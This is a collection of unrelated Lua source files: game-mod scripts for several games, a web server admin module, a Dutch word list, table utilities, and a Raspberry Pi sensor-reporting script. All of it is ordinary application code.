elseif gDifficulty == kGameHard then if FCPersistentData.GetBool( kSaveKey_CompletedHard ) == false then levelNum = FCPersistentData.GetNumber( kSaveKey_HardProgress ) FCOnlineLeaderboard.PostScore( "hardprogress", levelNum + 1 ) if levelNum == 0 then FCOnlineAchievement.SetProgress( kAchievement_UnlockExtreme, 1 ) end if levelNum == 99 then FCPersistentData.SetBool( kSaveKey_CompletedHard, true ) end FCOnlineAchievement.SetProgress( kAchievement_AllHardMaps, (levelNum + 1) / 100 ) FCPersistentData.SetNumber( kSaveKey_HardProgress, levelNum + 1 ) else FCOnlineLeaderboard.PostScore( "hardprogress", 100 ) end else if FCPersistentData.GetBool( kSaveKey_CompletedExtreme ) == false then levelNum = FCPersistentData.GetNumber( kSaveKey_ExtremeProgress ) if levelNum == 99 then FCPersistentData.SetBool( kSaveKey_CompletedExtreme, true ) end FCOnlineLeaderboard.PostScore( "extremeprogress", levelNum + 1 ) FCOnlineAchievement.SetProgress( kAchievement_AllExtremeMaps, (levelNum + 1) / 100 ) FCPersistentData.SetNumber( kSaveKey_ExtremeProgress, levelNum + 1) else FCOnlineLeaderboard.PostScore( "extremeprogress", 100 ) end end -- do some achievements stuff local lNumSolved = FCPersistentData.GetNumber( kSaveKey_EasyProgress ) lNumSolved = lNumSolved + FCPersistentData.GetNumber( kSaveKey_MediumProgress ) lNumSolved = lNumSolved + FCPersistentData.GetNumber( kSaveKey_HardProgress ) lNumSolved = lNumSolved + FCPersistentData.GetNumber( kSaveKey_ExtremeProgress ) if lNumSolved < 10 then FCOnlineAchievement.SetProgress( kAchievement_Solved10Maps, (lNumSolved + 1) / 10 ) end if lNumSolved < 50 then FCOnlineAchievement.SetProgress( kAchievement_Solved50Maps, (lNumSolved + 1) / 50 ) end if lNumSolved < 100 then FCOnlineAchievement.SetProgress( kAchievement_Solved100Maps, (lNumSolved + 1) / 100 ) end if lNumSolved < 200 then FCOnlineAchievement.SetProgress( kAchievement_Solved200Maps, (lNumSolved + 1) / 200 ) end if lNumSolved < 400 then FCOnlineAchievement.SetProgress( kAchievement_CompletedGame, (lNumSolved + 1) / 400 ) end FCPersistentData.Save() -- process how many games the player has won and award appropriate achievement end function CloseFoundTreasure() Views.FoundTreasure:SetFrame( FoundTreasureFCRectZero(), 0.2 ) SetNumCoins( GetNumCoins() + kTreasureNumCoins ) GamePhase.UpdateCoinsView() end function FoundTreasure() -- FCLog("Found Treasure") -- FCAnalytics.RegisterEvent( "foundTreasure" ) -- Views.FoundTreasure:SetBackgroundColor( FCColorMake( 0, 1, 0, 1 ) ) -- Views.FoundTreasure:MoveToFront() -- Views.FoundTreasure:SetFrame( FoundTreasureFCRectZero() ) -- Views.FoundTreasure:SetTapFunction( "CloseFoundTreasure" ) -- Views.FoundTreasure:SetFrame( FoundTreasureFrame(), 0.2 ) end
local Com = require "meiru.com.com" ---------------------------------------------- --ComSystem ---------------------------------------------- local GMs = { ['oCHWR4lrP4uuiWqs8XG7v5iHIPGEoCHWR4lrP4uuiWqs8XG7v5iHIPGE'] = true } local ComSystem = class("ComSystem", Com) function ComSystem:ctor() end function ComSystem:match(req, res) if req.ip == "127.0.0.1" then return end local token = req.query["token"] if type(token) ~= "string" or #token < 10 then return false end if not GMs[token] then return false end end local function testIp(ip) local items = string.split(ip, ".") if #items ~= 4 then return false end for _,item in ipairs(items) do if #item > 3 then return false end item = tonumber(item) if item < 0 then return false end if item > 255 then return false end end return true end ------------------------------------------ local systemd = require "meiru.server.systemd" local cmds = { ["network"] = function(req, res, page, limit) local data = systemd.net_stat(page, limit) local retval = { code = 0, msg = "", count = #data, data = data, } return retval end, ["service"] = function(req, res, page, limit) local data = systemd.service_stat(page, limit) local stat = systemd.mem_stat() local retval = { code = 0, msg = "", count = #data, data = data, total = stat.total, block = stat.block } return retval end, ["visit"] = function(req, res, page, limit) local data = systemd.client_stat() -- local region = ip2regiond.ip2region(req.ip) local retval = { code = 0, msg = "", count = #data, data = data, addr = req.addr, -- region = region, } return retval end, ["router"] = function(req, res, page, limit) local data = req.app:treeprint() local retval = { code = 0, msg = "", data = data, } return retval end, ["online"] = function(req, res, page, limit) local data = systemd.online_stat() local retval = { code = 0, msg = "", data = data, } return retval end, ["system"] = function(req, res, page, limit) local data = systemd.system_stat() local retval = { code = 0, msg = "", count = #data, data = data, } return retval end, ["kick"] = function(req, res, page, limit) local ip = req.query.ip if req.id == ip then log("self req.query =", req.query) return { code = 1, msg = "不能拉黑自己" } end if not testIp(ip) then log("bad req.query =", req.query) return { code = 1, msg = "不是IP" } end systemd.kick(ip) local retval = { code = 0, ip = ip } return retval end, ["db_tables"] = function(req, res, page, limit) local mysqldbd = require "meiru.db.mysqldbd" local tables = mysqldbd.table_descs() local retval = { code = 0, msg = "", count = #tables, data = tables, } return retval end, } ----------------------------------------- local meiru = require "meiru.meiru" local router = meiru.router() router.get('/system/index', function(req, res) local tab = req.query.tab local item = req.query.item local token = req.query.token res.set_layout(nil) return res.html('/system/index', { url_path = "/system/index", api_path = "/system/", token = token or '', cur_tab = tab, cur_item = item }) end) router.get('/system/:what', function(req, res) local what = req.params.what local page = req.query.page local limit = req.query.limit local retval = cmds[what](req, res, page, limit) return res.json(retval) end) local node = router.node() node:set_path("/system") node:add("ComSystem") return node
return {'zou','zouden','zout','zoutachtig','zoutafzetting','zoutarm','zoutbak','zoutberg','zoute','zouteloos','zouteloosheid','zouten','zouter','zoutevis','zoutgehalte','zoutheid','zouthoudend','zoutig','zoutje','zoutkeet','zoutkoepel','zoutkorrel','zoutkristal','zoutlepeltje','zoutloos','zoutmeer','zoutmijn','zoutminnend','zoutoplossing','zoutpakhuis','zoutpan','zoutpilaar','zoutplant','zoutpot','zoutraffinaderij','zoutstrooier','zoutte','zouttuin','zoutvaatje','zoutvat','zoutverbruik','zoutvlees','zoutwaterbron','zoutwatermeer','zoutwatervis','zoutweger','zoutwinning','zoutzak','zoutzieder','zoutziederij','zoutzuur','zoutlozing','zoutontginning','zoutwateraquarium','zoutvlakte','zoutconcentratie','zoutbad','zoutbalans','zoutbelasting','zoutfabriek','zoutgebruik','zoutgeld','zouthotel','zouthuishouding','zoutindustrie','zoutinname','zoutkorst','zoutlaag','zoutenaaie','zoutleeuw','zouhair','zoutewelle','zoude','zoudt','zoutachtige','zoutbakken','zoutbergen','zouteloze','zoutelozer','zoutere','zouters','zoutige','zoutiger','zoutjes','zoutketen','zoutkorrels','zoutlagen','zoutlepeltjes','zoutloze','zoutmeren','zoutmijnen','zoutpakhuizen','zoutpannen','zoutpilaren','zoutplanten','zoutpotten','zoutraffinaderijen','zoutst','zoutste','zoutstrooiers','zoutten','zouttuinen','zoutvaatjes','zoutvaten','zoutvijvers','zoutwaterbronnen','zoutwatermeren','zoutwatervissen','zoutzakken','zoutziederijen','zoutzieders','zoutafzettingen','zoutarme','zouteloosheden','zouthoudende','zoutkoepels','zoutminnende','zoutoplossingen','zoutkristallen','zoutlozingen','zouteloost','zoutwateraquaria','zoutwateraquariums','zouhairs','zoutvlaktes','zoutvlakten','zoutconcentraties','zoutgehalten','zoutgehaltes','zoutzakjes'}
-- =========== -- TABLE UTILS -- =========== -- Created by datwaft <github.com/datwaft> local M = require'bubbly.core.module'.new('utils.table') -- Makes a deep copy of a table ---@param table table ---@return table function M.deepcopy(table) local type = type(table) local copy if type == 'table' then copy = {} for k, v in pairs(table) do copy[M.deepcopy(k)] = M.deepcopy(v) end setmetatable(copy, M.deepcopy(getmetatable(table))) else copy = table end return copy end -- Extracted from: http://lua-users.org/wiki/CopyTable -- Returns the union of two tables with priority for the second one ---@param table1 table ---@param table2 table ---@return table function M.fusion(table1, table2) if not table2 or type(table2) ~= 'table' then return table1 end if not table1 or type(table1) ~= 'table' then return table2 end local new = M.deepcopy(table1) for k2, v2 in pairs(table2) do if type(v2) == 'table' then v2 = M.fusion(new[k2], v2) end new[k2] = v2 end return new end -- Returns the list of the elements inside the list that pass the test ---@param list any[] ---@param test fun(index: any, value: any): boolean function M.filter(list, test) local result = {} for i, v in ipairs(list) do if test(i, v) then table.insert(result, v) end end return result end return M
local ObjectManager = require("managers.object.object_manager") tourAryonConvoHandler = conv_handler:new {} function tourAryonConvoHandler:getInitialScreen(pPlayer, pNpc, pConvTemplate) local convoTemplate = LuaConversationTemplate(pConvTemplate) local curPhase = BestineElection:getCurrentPhase() if (curPhase == BestineElection.ELECTION_PHASE) then return convoTemplate:getScreen("init_election_phase") else return convoTemplate:getScreen("init_not_election_phase") end end function tourAryonConvoHandler:runScreenHandlers(pConvTemplate, pPlayer, pNpc, selectedOption, pConvScreen) local screen = LuaConversationScreen(pConvScreen) local screenID = screen:getScreenID() local pConvScreen = screen:cloneScreen() local clonedConversation = LuaConversationScreen(pConvScreen) local electionNum = BestineElection:getElectionNumber() local electionWinner = BestineElection:getElectionWinner(electionNum) if (screenID == "init_not_election_phase") then if (electionWinner == BestineElection.SEAN) then clonedConversation:addOption("@conversation/tour_aryon:s_5d2e1112", "sean_won") -- Who was the winning candidate? elseif (electionWinner == BestineElection.VICTOR) then clonedConversation:addOption("@conversation/tour_aryon:s_5d2e1112", "victor_won") -- Who was the winning candidate? else clonedConversation:addOption("@conversation/tour_aryon:s_5d2e1112", "no_one_won") -- Who was the winning candidate? end local timeLeftInSecs = BestineElection:getPhaseTimeLeft() if (timeLeftInSecs < 3600) then clonedConversation:addOption("@conversation/tour_aryon:s_68d96c4a", "within_the_hour") -- The next election starts within the hour. elseif (timeLeftInSecs < 14400) then clonedConversation:addOption("@conversation/tour_aryon:s_68d96c4a", "in_a_few_hours") -- The next election starts in just a few hours. elseif (timeLeftInSecs < 86400) then clonedConversation:addOption("@conversation/tour_aryon:s_68d96c4a", "in_less_than_a_day") -- In less than a day the next election will begin. elseif (timeLeftInSecs < 172800) then clonedConversation:addOption("@conversation/tour_aryon:s_68d96c4a", "in_more_than_a_day") -- The election won't begin for more than a day. elseif (timeLeftInSecs < 345600) then clonedConversation:addOption("@conversation/tour_aryon:s_68d96c4a", "just_a_few_days") -- It's just a few days until the next election begins. elseif (timeLeftInSecs < 604800) then clonedConversation:addOption("@conversation/tour_aryon:s_68d96c4a", "in_less_than_a_week") -- The next election will start in less than a week. elseif (timeLeftInSecs < 1209600) then clonedConversation:addOption("@conversation/tour_aryon:s_68d96c4a", "in_more_than_a_week") -- The next election won't start for well over a week. else clonedConversation:addOption("@conversation/tour_aryon:s_68d96c4a", "in_more_than_two_weeks") -- It will be more than two weeks before the next election begins. end elseif (screenID == "init_election_phase") then if (not BestineElection:hasPlayerVoted(pPlayer) and (BestineElection:canVoteForCandidate(pPlayer, BestineElection.SEAN) or BestineElection:canVoteForCandidate(pPlayer, BestineElection.VICTOR))) then clonedConversation:addOption("@conversation/tour_aryon:s_fad1aba", "proper_evidence") -- I have some evidence I'd like to show you. It's for the election. end if (BestineElection:hasPlayerVoted(pPlayer)) then clonedConversation:addOption("@conversation/tour_aryon:s_ca478f48", "get_involved_already_voted") -- Yes, I'd like to get involved. else clonedConversation:addOption("@conversation/tour_aryon:s_ca478f48", "get_involved_hasnt_voted") -- Yes, I'd like to get involved. end clonedConversation:addOption("@conversation/tour_aryon:s_3001dad0", "enjoy_your_time") -- No, not really. Just wandering through Bestine. elseif (screenID == "proper_evidence") then if not BestineElection:hasPlayerVoted(pPlayer) then if BestineElection:canVoteForCandidate(pPlayer, BestineElection.VICTOR) then clonedConversation:addOption("@conversation/tour_aryon:s_1a74caee", "has_victor_evidence") -- I am ready to vote. elseif BestineElection:canVoteForCandidate(pPlayer, BestineElection.SEAN) then clonedConversation:addOption("@conversation/tour_aryon:s_1a74caee", "has_sean_evidence") -- I am ready to vote. end end clonedConversation:addOption("@conversation/tour_aryon:s_ccae64dd", "be_sure_to_return") -- On second thought, I think I'm not quite ready. elseif (screenID == "get_involved_hasnt_voted") then if (not BestineElection:hasPlayerVoted(pPlayer) and (BestineElection:canVoteForCandidate(pPlayer, BestineElection.SEAN) or BestineElection:canVoteForCandidate(pPlayer, BestineElection.VICTOR))) then clonedConversation:addOption("@conversation/tour_aryon:s_65a4282", "glad_youre_taking_part") -- I'd like to vote, yes. end clonedConversation:addOption("@conversation/tour_aryon:s_fb124268", "completely_understand") -- No, I really need to go. elseif (screenID == "only_positive_things") then if (not BestineElection:hasPlayerVoted(pPlayer) and (BestineElection:canVoteForCandidate(pPlayer, BestineElection.SEAN) or BestineElection:canVoteForCandidate(pPlayer, BestineElection.VICTOR))) then clonedConversation:addOption("@conversation/tour_aryon:s_e547fd1e", "glad_youre_taking_part") -- Okay. I'd like to vote. end clonedConversation:addOption("@conversation/tour_aryon:s_3829680a", "completely_understand") -- I'm... uh, gonna go. Bye! elseif (screenID == "glad_youre_taking_part") then if not BestineElection:hasPlayerVoted(pPlayer) then if BestineElection:canVoteForCandidate(pPlayer, BestineElection.VICTOR) then clonedConversation:addOption("@conversation/tour_aryon:s_1a74caee", "has_victor_evidence") -- I am ready to vote. elseif BestineElection:canVoteForCandidate(pPlayer, BestineElection.VICTOR) then clonedConversation:addOption("@conversation/tour_aryon:s_1a74caee", "has_sean_evidence") -- I am ready to vote. end end clonedConversation:addOption("@conversation/tour_aryon:s_23b3506c", "two_eligible_candidates") -- I need more information, please. clonedConversation:addOption("@conversation/tour_aryon:s_a44272b4", "without_proper_evidence") -- What evidence? elseif (screenID == "without_proper_evidence") then if (not BestineElection:hasPlayerVoted(pPlayer) and (BestineElection:canVoteForCandidate(pPlayer, BestineElection.SEAN) or BestineElection:canVoteForCandidate(pPlayer, BestineElection.VICTOR))) then clonedConversation:addOption("@conversation/tour_aryon:s_90ec63e0", "are_you_ready") -- Yes, I do. else clonedConversation:addOption("@conversation/tour_aryon:s_1f2450ea", "glad_youre_taking_part") -- No, I need to go get it. end elseif (screenID == "are_you_ready") then if (BestineElection:canVoteForCandidate(pPlayer, BestineElection.VICTOR)) then clonedConversation:addOption("@conversation/tour_aryon:s_1a74caee", "has_victor_evidence") -- I am ready to vote. elseif (BestineElection:canVoteForCandidate(pPlayer, BestineElection.SEAN)) then clonedConversation:addOption("@conversation/tour_aryon:s_1a74caee", "has_sean_evidence") -- I am ready to vote. else clonedConversation:addOption("@conversation/tour_aryon:s_1a74caee", "has_no_evidence") -- I am ready to vote. end elseif (screenID == "vote_for_sean") then if (BestineElection:canVoteForCandidate(pPlayer, BestineElection.SEAN) and BestineElection:removeCandidateEvidence(pPlayer, BestineElection.SEAN)) then BestineElection:addPlayerVote(pPlayer, BestineElection.SEAN) end elseif (screenID == "vote_for_victor") then if (BestineElection:canVoteForCandidate(pPlayer, BestineElection.VICTOR) and BestineElection:removeCandidateEvidence(pPlayer, BestineElection.VICTOR)) then BestineElection:addPlayerVote(pPlayer, BestineElection.VICTOR) end end return pConvScreen end
#!/usr/bin/lua --[[ Moduleinbindung ]]-- -- Selbstredend... Hoffe ich.... -- ---------------------------------------------- status, socket = pcall(require, "socket") if not status then print("Bitte Socket Erweiterung installieren.") print("sudo apt-get install lua-socket") os.exit(1) end ---------------------------------------------- --[[ Konfigurationsbereich ]]-- -- Selbstredend... Hoffe ich.... -- ---------------------------------------------- rcon_port = 9910 rcon_host = "luftwache.devbot.de" -- !DONT TOUCH! rcon_user = "new" -- EIGENEN USER BEANTRAGEN! rcon_secret = "xxxxxxx" -- UND PASSENDES SECRET! ---------------------------------------------- --[[ Helferfunktionen ]]-- -- einfach ignorieren.... Hier geht es um -- -- ganz andere Dinge ;-) -- ---------------------------------------------- function os.capture(cmd, raw) local f = assert(io.popen(cmd, 'r')) local s = assert(f:read('*a')) f:close() if raw then return s end s = string.gsub(s, '^%s+', '') s = string.gsub(s, '%s+$', '') s = string.gsub(s, '[\n\r]+', ' ') return s end ---------------------------------------------- --[[ Datenbeschaffung ]]-- -- Da wir hier einen RaspberryPI nutzen, -- -- bietet sich der CPU/GPU Temp Sensor an. -- ---------------------------------------------- raspberry_temp = os.capture('vcgencmd measure_temp | grep -o "[0-9\.]*"') usb_sensor = os.capture('python /home/pi/co2info/office_weather/monitor_anpassung.py /dev/hidraw0') -- Der inhalt von usb_sensor sieht ca. so aus CO2: 761 T: 22.48 print(usb_sensor) local _, _, co2, temp = string.find(usb_sensor,'CO2:[ ]+([0-9\.]+)[ ]+T:[ ]+([0-9\.]+)') print(co2.." "..temp) --if co2 & temp then --co2 = 0 uptime = os.capture("cat /proc/uptime | awk -F' ' '{print $1}' | awk -F'.' '{print $1}'") voltage = os.capture('vcgencmd measure_volts | grep -o "[0-9\.]*"') ---------------------------------------------- --[[ The simple way ]]-- -- Man kann, falls man keine JSON lib hat, -- -- den String natürlich selbst aufbauen. -- -- das funktioniert für einen einzelnen -- -- Sensor noch relativ gut, für mehrere aber-- -- eher weniger -- ---------------------------------------------- id = "xxx0989xxx" -- Sollte bestehen aus a-z und 0-9 und 12(?) Zeichen. stationname = "xxxx_CO2" -- Bitte sinnig wählen. ;-) rasperry_temp_sensorname = "CPU" -- Ebenfalls. ;-) temp_sensorname = "RoomTemp_01" -- Ebenfalls. ;-) co2_sensorname = "RoomCO2_01" -- Na wie wohl ;-) sensordata = '{"version":"0.3","id":"'..id..'","nickname":"'..stationname..'",'.. '"sensors":{"temperature":[{"name":"'..temp_sensorname..'","value":'..temp..',"unit":"deg"}],"co2":[{"name":"'..co2_sensorname..'","value":'..co2..',"unit":"ppm"}]},'.. '"system":{"voltage":'..voltage..',"timestamp":0,"uptime":'..uptime..',"heap":0}}' sensordata = string.gsub(sensordata, "[\n\r]+", "") -- Wir entfernen jeden Zeilenumbruch im Sensors Objekt, denn rcon ist Zeilenbasiert ---------------------------------------------- --[[ The network stuff ]]-- ---------------------------------------------- rcon_host = socket.dns.toip(rcon_host) -- Wir lösen erst mal den hostnamen auf. rcon = socket.udp() -- Erstellen einen UDP Socket. rcon:setpeername(rcon_host, rcon_port) -- Und sagen ihm, wohin er gehen soll. -- Ok, dann schicken wir mal unser rcon paket für Sensoren. -- Die Syntax dafür lautet: -- user:secret setsensors sensordata -- Wobei sensordata das JSON Objekt enthält, dass wir weiter oben gebaut haben. rcon:send(rcon_user..":"..rcon_secret.." setsensors "..sensordata) rcon:settimeout(10) -- Wir setzen den Socket Timeout auf 10 Sekunden data = rcon:receive() -- Um Anschließend nicht länger als 10 Sekunden auf eine mögliche Antwort zu warten. if data then -- Sollte eine Antwort vorliegen, zeigen wir sie nun an und beenden das Programm. print(data) end ----------------------------------------------
AddCSLuaFile("cl_init.lua") AddCSLuaFile("shared.lua") include("shared.lua") function ENT:Initialize() self:SetModel(table.Random(PrisonSystem.Config.Cook.Models)) self:SetUseType(SIMPLE_USE) self:PhysicsInit(SOLID_VPHYSICS) self:SetMoveType(MOVETYPE_VPHYSICS) self:SetSolid(SOLID_VPHYSICS) local phys = self:GetPhysicsObject() phys:Wake() self.isCooked = false end local dirtyColor = Color(200, 200, 200) function ENT:SetCooked(state) if state then self:SetColor(dirtyColor) else self:SetColor(color_white) end self.isCooked = state end function ENT:Use(activator, caller) end
ModLoader.SetupFileHook( "lua/Whip_Server.lua", "lua/WhipRebalance/Whip_Server.lua", "post" ) ModLoader.SetupFileHook( "lua/Whip.lua", "lua/WhipRebalance/Whip.lua", "post" )
local MapTabWayshrines = FasterTravel.class(FasterTravel.MapTab) FasterTravel.MapTabWayshrines = MapTabWayshrines local Location = FasterTravel.Location local Wayshrine = FasterTravel.Wayshrine local Transitus = FasterTravel.Transitus local Campaign = FasterTravel.Campaign local Utils = FasterTravel.Utils local function ShowWayshrineConfirm(data,isRecall) local nodeIndex,name,refresh,clicked = data.nodeIndex,data.name,data.refresh,data.clicked ZO_Dialogs_ReleaseDialog("FAST_TRAVEL_CONFIRM") ZO_Dialogs_ReleaseDialog("RECALL_CONFIRM") name = name or select(2, Wayshrine.Data.GetNodeInfo(nodeIndex)) -- just in case local id = (isRecall == true and "RECALL_CONFIRM") or "FAST_TRAVEL_CONFIRM" if isRecall == true then local _, timeLeft = GetRecallCooldown() if timeLeft ~= 0 then local text = zo_strformat(SI_FAST_TRAVEL_RECALL_COOLDOWN, name, ZO_FormatTimeMilliseconds(timeLeft, TIME_FORMAT_STYLE_DESCRIPTIVE, TIME_FORMAT_PRECISION_SECONDS)) ZO_Alert(UI_ALERT_CATEGORY_ERROR, SOUNDS.NEGATIVE_CLICK, text) return end end ZO_Dialogs_ShowPlatformDialog(id, {nodeIndex = nodeIndex}, {mainTextParams = {name}}) end local function ShowWayshrineMenu(owner,data,favourites) ClearMenu() if data == nil or favourites == nil then return end local nodeIndex = data.nodeIndex if favourites.list:contains(nodeIndex) then AddMenuItem("Remove Favourite", function() favourites.remove(nodeIndex) ClearMenu() end) else AddMenuItem("Add Favourite", function() favourites.add(nodeIndex) ClearMenu() end) end ShowMenu(owner) end local function ShowTransitusConfirm(data,isRecall) if not isRecall then TravelToKeep(data.nodeIndex) end end local function AttachRefreshHandler(args,data) local refresh = args.refresh data.refresh = function(self,control) control.label:SetText(self.name) if refresh then refresh(self,control) end end end local function AttachWayshrineDataHandlers(args, data) AttachRefreshHandler(args,data) local clicked = args.clicked local isRecall = args.nodeIndex == nil local isKeep = args.isKeep local inCyrodiil = args.inCyrodiil data.clicked = function(self,control,button) if inCyrodiil == true and (isRecall == true or isKeep == true) then return end if button == 1 then ShowWayshrineConfirm(self,isRecall) elseif button == 2 then ShowWayshrineMenu(control,self,args.favourites) end end return data end local function AttachTransitusDataHandlers(args,data) AttachRefreshHandler(args,data) local clicked = args.clicked data.clicked = function(self,control,button) if button ~= 1 then return end ShowTransitusConfirm(self,args.nodeIndex == nil) end return data end local function AttachCampaignDataHandlers(args,data) AttachRefreshHandler(args,data) data.clicked = function(self,control,button) if button ~= 1 then return end local id,name,group = data.id,data.name,data.group Campaign.EnterLeaveOrJoin(id,name,group) end return data end local function AddRowToLookup(self,control,lookup) local nidx = self.nodeIndex local lk = lookup[nidx] if lk == nil then lookup[nidx] = {control=control,data=self} else lk.control = control lk.data = self end end local function IsTransitusDataRequired(isKeep,nodeIndex) return (isKeep or nodeIndex == nil) end local function GetCyrodiilWayshrinesData(args) local nodes = Transitus.GetKnownNodes(args.nodeIndex, args.nodeIndex ~= nil or nil) nodes = Utils.map(nodes,function(item) return AttachTransitusDataHandlers(args,item) end) return nodes end local function GetPlayerCampaignsData(args) -- TODO: return player campaigns local nodes = Campaign.GetPlayerCampaigns() nodes = Utils.map(nodes,function(item) return AttachCampaignDataHandlers(args,item) end) return nodes end local function GetZoneWayshrinesData(args) local zoneIndex = args.zoneIndex local nodeIndex = args.nodeIndex local isKeep = args.isKeep local inCyrodiil = args.inCyrodiil -- special handling for Cyrodiil =( if Location.Data.IsZoneIndexCyrodiil(zoneIndex) == true then if inCyrodiil == true and IsTransitusDataRequired(isKeep,nodeIndex) == true then return GetCyrodiilWayshrinesData(args) elseif inCyrodiil == false then return GetPlayerCampaignsData(args) end end local iter = Wayshrine.GetKnownWayshrinesByZoneIndex(zoneIndex,nodeIndex) iter = Utils.map(iter,function(item) return AttachWayshrineDataHandlers(args,item) end) local data = Utils.toTable(iter) table.sort(data,function(x,y) return x.name < y.name end) return data end local function GetListWayshrinesData(list,args) if list == nil then return {} end local nodeIndex = args.nodeIndex local iter = Utils.where(list:items(), function(v) return (nodeIndex == nil or v.nodeIndex ~= nodeIndex) end) iter = Utils.map(iter,function(d) local known,name = Wayshrine.Data.GetNodeInfo(d.nodeIndex) d.name = name return AttachWayshrineDataHandlers(args,d) end) return Utils.toTable(iter) end local function GetRecentWayshrinesData(recentList,args) return GetListWayshrinesData(recentList,args) end local function GetFavouritesWayshrinesData(favourites,args) return GetListWayshrinesData(favourites.list,args) end local function HandleCategoryClicked(self,i,item,data,control,c) local idx = GetCurrentMapIndex() if idx ~= item.mapIndex then if self:IsCategoryHidden(i) == true then self:SetCategoryHidden(i,false) end ZO_WorldMap_SetMapByIndex(item.mapIndex) else self:SetCategoryHidden(i, not self:IsCategoryHidden(i) ) end self:OnCategoryClicked(i,item,data,control,c) end local function PopulateLookup(lookup,data) for i,node in ipairs(data) do lookup[node.nodeIndex] = {data=node} end end function MapTabWayshrines:init(control,locations,locationsLookup,recentList,favourites) self.base.init(self,control) control.IconMouseEnter = FasterTravel.hook(control.IconMouseEnter,function(base,control,...) base(control,...) self:IconMouseEnter(...) end) control.IconMouseExit = FasterTravel.hook(control.IconMouseExit,function(base,control,...) base(control,...) self:IconMouseExit(...) end) control.IconMouseClicked = FasterTravel.hook(control.IconMouseClicked,function(base,control,...) base(control,...) self:IconMouseClicked(...) end) control.RowMouseEnter = FasterTravel.hook(control.RowMouseEnter,function(base,control,...) base(control,...) self:RowMouseEnter(...) end) control.RowMouseExit = FasterTravel.hook(control.RowMouseExit,function(base,control,...) base(control,...) self:RowMouseExit(...) end) control.RowMouseClicked = FasterTravel.hook(control.RowMouseClicked,function(base,control,...) base(control,...) self:RowMouseClicked(...) end) local _first = true local _rowLookup = {} local currentZoneIndex local currentMapIndex local _locations = locations local _locationsLookup = locationsLookup local currentNodeIndex,currentIsKeep, currentInCyrodiil self.IsRecall = function(self) return currentNodeIndex == nil end self.IsKeep = function(self) return currentIsKeep end self.InCyrodiil = function(self) return currentInCyrodiil end self.GetRowLookups = function(self) return _rowLookup end self.GetCurrentZoneMapIndexes = function(self) return currentZoneIndex,currentMapIndex end self.SetCurrentZoneMapIndexes = function(self,zoneIndex,mapIndex) currentZoneIndex = zoneIndex if zoneIndex == nil then currentMapIndex = nil elseif mapIndex == nil then loc = locationsLookup[zoneIndex] if loc ~= nil then currentMapIndex = loc.mapIndex end elseif mapIndex ~= nil then currentMapIndex = mapIndex end end self.Refresh = function(self,nodeIndex,isKeep) _rowLookup.categories ={} _rowLookup.current = {} _rowLookup.favourites = {} _rowLookup.recent = {} _rowLookup.zone = {} isKeep = isKeep == true currentNodeIndex = nodeIndex currentIsKeep = isKeep local inCyrodiil = IsInCampaign() or IsInCyrodiil() or IsInImperialCity() or Location.Data.IsZoneIndexCyrodiil(currentZoneIndex) currentInCyrodiil = inCyrodiil local recentlookup = _rowLookup.recent local favouriteslookup = _rowLookup.favourites local currentlookup = _rowLookup.current local recent = GetRecentWayshrinesData(recentList,{nodeIndex=nodeIndex,favourites=favourites, refresh=function(self,control) AddRowToLookup(self,control,recentlookup) end}) local faves = GetFavouritesWayshrinesData(favourites,{nodeIndex=nodeIndex,favourites=favourites, refresh=function(self,control) AddRowToLookup(self,control,favouriteslookup) end}) local current = GetZoneWayshrinesData({nodeIndex = nodeIndex, zoneIndex = currentZoneIndex, isKeep = isKeep, inCyrodiil = inCyrodiil, favourites=favourites, refresh=function(self,control) AddRowToLookup(self,control,currentlookup) end}) local curLoc = _locationsLookup[currentZoneIndex] or _locationsLookup["tamriel"] local curName = curLoc.name local categories = { { name = GetString(SI_MAP_INFO_WAYSHRINES_CATEGORY_RECENT), data = recent, hidden = not _first and self:IsCategoryHidden(1) }, { name = GetString(SI_MAP_INFO_WAYSHRINES_CATEGORY_FAVOURITES), data = faves, hidden = not _first and self:IsCategoryHidden(2) }, { name = string.format("%s (%s)", GetString(SI_MAP_INFO_WAYSHRINES_CATEGORY_CURRENT), curName), data = current, hidden = not _first and self:IsCategoryHidden(3), clicked=function(data,control,c) HandleCategoryClicked(self,3,{zoneIndex=currentZoneIndex,mapIndex=currentMapIndex},currentlookup,data,control,c) if self:IsCategoryHidden(3) == false and curLoc.click then curLoc.click() end end, curZoneIndex = currentZoneIndex } } PopulateLookup(recentlookup,recent) PopulateLookup(currentlookup,current) PopulateLookup(favouriteslookup,faves) local count = #categories local zoneLookup = _rowLookup.zone local locations = _locations local categoryLookup = _rowLookup.categories if locations ~= nil then local lcount = #locations for i,item in ipairs(locations) do local id = i + count local lookup = {} zoneLookup[item.zoneIndex]=lookup local data = GetZoneWayshrinesData({ nodeIndex=nodeIndex, isKeep=isKeep, zoneIndex=item.zoneIndex, inCyrodiil = inCyrodiil, favourites=favourites, refresh = function(self,control) AddRowToLookup(self,control,lookup) end }) PopulateLookup(lookup,data) local category = { name = item.name, hidden = _first or self:IsCategoryHidden(id), data=data, clicked= function(data,control,c) HandleCategoryClicked(self,id,item,lookup,data,control,c) if item.click then item.click() end if not self:IsCategoryHidden(id) then for ii=count+1,lcount do if ii ~= id and self:IsCategoryHidden(ii) == false then self:SetCategoryHidden(ii,true) end end end end, zoneIndex = item.zoneIndex } table.insert(categories,category) end end self:ClearControl() local cdata = self:AddCategories(categories) self:RefreshControl(categories) for i,c in ipairs(cdata) do if c.zoneIndex ~= nil then categoryLookup[c.zoneIndex] = c end end _rowLookup.categoriesTable = cdata _first = false end self.HideAllZoneCategories = function(self) for i, loc in ipairs(locations) do self:SetCategoryHidden(i+3,true) end end end function MapTabWayshrines:OnCategoryClicked(i,item,lookup,data,control,c) end function MapTabWayshrines:IconMouseEnter(...) end function MapTabWayshrines:IconMouseExit(...) end function MapTabWayshrines:IconMouseClicked(...) end function MapTabWayshrines:RowMouseEnter(...) end function MapTabWayshrines:RowMouseExit(...) end function MapTabWayshrines:RowMouseClicked(...) end
----------------------------------- -- Ability: Sange -- Daken will always activate but consumes shuriken while active. -- Obtained: Ninja Level 75 Merits -- Recast Time: 00:03:00 minutes -- Duration: 00:01:00 minute ----------------------------------- require("scripts/globals/status") ----------------------------------- function onAbilityCheck(player,target,ability) return 0,0 end function onUseAbility(player,target,ability) player:addStatusEffect(tpz.effect.SANGE, 0, 0, 60) end
